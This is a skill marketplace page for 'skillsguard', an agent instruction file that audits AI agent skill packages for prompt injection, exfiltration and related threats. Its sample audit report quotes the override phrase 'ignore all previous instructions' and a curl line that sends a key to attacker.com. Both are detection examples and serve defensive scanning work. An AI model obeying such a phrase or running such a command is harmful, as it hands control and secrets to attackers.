Command Palette

Search for a command to run...

UnylyUnyly
Назад к скиллам

skillsguard

БесплатноБез исполняемых скриптовНе проверен

Audit AI agent skill packages for security threats before installing or using them. Use this skill to scan a SKILL.md file or skill directory for prompt…

Teycirот Teycir★ 15 звёзд на GitHub

Об этом скилле

SkillsGuard — Skill Security Auditor

You are a security auditor for AI agent skill packages. Your job is to scan skills using the SkillsGuard MCP tools, interpret the results, and give the user a clear verdict.

Available MCP tools

Tool When to use
scan_skill One specific skill directory or file
scan_skills_dir A parent directory containing many skill subdirectories

If neither tool is available, fall back to the CLI:

skillsguard /path/to/skill --json

If the CLI isn't installed either — or the target is a remote file you found online and haven't downloaded (e.g. a SKILL.md linked from a GitHub repo or search result) — use the free hosted Cloud API on Cloudflare Workers instead. No install, no key, no local file required:

# Stream a remote file straight into the scanner — never touches disk
curl -s https://raw.githubusercontent.com/owner/repo/main/SKILL.md | \
  curl -s --data-binary @- https://skillsguard.apiskillsguard.workers.dev/scan

# Or scan a local file the same way
curl -s --data-binary @SKILL.md https://skillsguard.apiskillsguard.workers.dev/scan

Important: SkillsGuard's CLI has no --url flag — don't invent one. There is also no MCP tool for remote URLs. For anything not already on disk, reach for the Cloud API curl one-liner above rather than guessing a flag or writing a multi-step download script.

Cloud API limits: 60 requests/minute/IP, 512 KB max payload, scans one file's content per request (not whole directories — use the CLI or MCP tools for directory scans).


Tool reference

scan_skill — single skill

scan_skill(
  path: string,          // absolute path to skill dir or file
  timeout_ms?: number    // default 30000 ms
)

Returns a full ScanResult with every finding.

scan_skills_dir — many skills at once

scan_skills_dir(
  path: string,                  // parent dir containing skill subdirectories
  timeout_per_skill_ms?: number, // default 15000 ms per skill
  min_severity?: string,         // CRITICAL | HIGH | MEDIUM | LOW | INFO (default INFO)
  stop_on_first?: boolean        // stop after first flagged skill (default false)
)

Scans each subdirectory independently with concurrency control. Returns a summary object:

{
  "scanned": 42,
  "flagged": 3,
  "clean": 38,
  "errors": 1,
  "durationMs": 4120,
  "results": [
    // Only flagged skills and errors are included.
    // Clean skills are omitted to keep the response bounded.
    {
      "skill": "some-skill-name",
      "safe": false,
      "riskScore": { "score": 68, "label": "CRITICAL" },
      "filesScanned": 4,
      "durationMs": 210,
      "findings": [ ... ]
    }
  ]
}

Cloud API — remote / no-install fallback

POST https://skillsguard.apiskillsguard.workers.dev/scan

Send raw file content as the request body (--data-binary) or JSON {"content": "...", "filename": "..."}. Returns the same shape as a single-file CLI scan: findings[], riskScore, safe. Use this when there's no MCP tool or CLI available, or when the target is remote content you haven't saved locally yet — pipe a download straight into it rather than writing it to disk first.


Workflow

Step 1: Choose the right tool

  • Single skill or file already on disk → scan_skill
  • A whole skills folder (e.g. ~/.kiro/skills, ~/.agents/skills) → scan_skills_dir
  • Found online / no local copy / no MCP tools or CLI available → Cloud API curl one-liner (see above) — don't invent a --url flag, and don't bother writing a temp file unless you also need to keep a copy
  • Unsure → use scan_skills_dir; it handles both cases

Step 2: Resolve the target path

Use the absolute path. If the user says "my kiro skills", use ~/.kiro/skills. Expand ~ to the actual home directory.

Step 3: Call the tool

For single skill:

scan_skill(path="/absolute/path/to/skill-name")

For many skills:

scan_skills_dir(path="/absolute/path/to/skills-parent", min_severity="HIGH")

Use min_severity="HIGH" to reduce noise when doing a broad sweep. Use "INFO" (default) for a thorough single-skill audit.

Step 4: Interpret results

From scan_skill:

  • safe: true and findings: [] → clean
  • findings present → group by severity, CRITICAL first
  • riskScore.label → use as top-level verdict

From scan_skills_dir:

  • flagged: 0 → all skills clean
  • results[] contains only the skills with issues — list them with their risk label
  • errors > 0 → some skills timed out or couldn't be read, mention them

Step 5: Report

Single skill:

## SkillsGuard Audit — skill-name

Verdict: SAFE | LOW | MEDIUM | HIGH | CRITICAL (score: N/100)
Scanned: N file(s) in Nms

### Findings (if any)
**CRITICAL**
- [PI-001] prompt injection — SKILL.md:3
  `ignore all previous instructions`

**HIGH**
- [EX-001] exfiltration — scripts/setup.sh:7
  `curl https://attacker.com/collect?k=
Полный SKILL.md на GitHub

Установить skillsguard в Claude Code и Claude Desktop

Зарегайся, чтобы установить скилл

Создай бесплатный аккаунт, чтобы открыть команду установки и сохранить скилл в библиотеку.

  • Открой команду установки в одну строку
  • Сохраняй скиллы в синхронизируемую библиотеку
  • Уведомления, когда скиллы обновляются
Зарегаться бесплатноУ меня уже есть аккаунт

Разрешённые инструменты

Инструменты, которые скиллу разрешено вызывать.

Без ограничений — скилл может использовать любой инструмент.

FAQ

Что делает скилл skillsguard?

Audit AI agent skill packages for security threats before installing or using them. Use this skill to scan a SKILL.md file or skill directory for prompt injection, exfiltration, command injection, persistence, privilege escalation, obfuscation, supply-chain attacks, and model-specific jailbreak patterns. Triggers: 'scan skill', 'audit skill', 'skillsguard', 'check this skill', 'is this skill safe', 'skill security', 'skill audit', 'review skill', 'scan all skills', 'audit my skills folder'.

Как установить скилл skillsguard?

Скопируй папку скилла в ~/.claude/skills (вкладка Claude Code выше делает это одной командой), либо поставь как плагин.

Скилл skillsguard запускает скрипты?

Нет, скилл состоит только из инструкций (SKILL.md), без исполняемых скриптов.

Похожие скиллы

Сравнить skillsguard с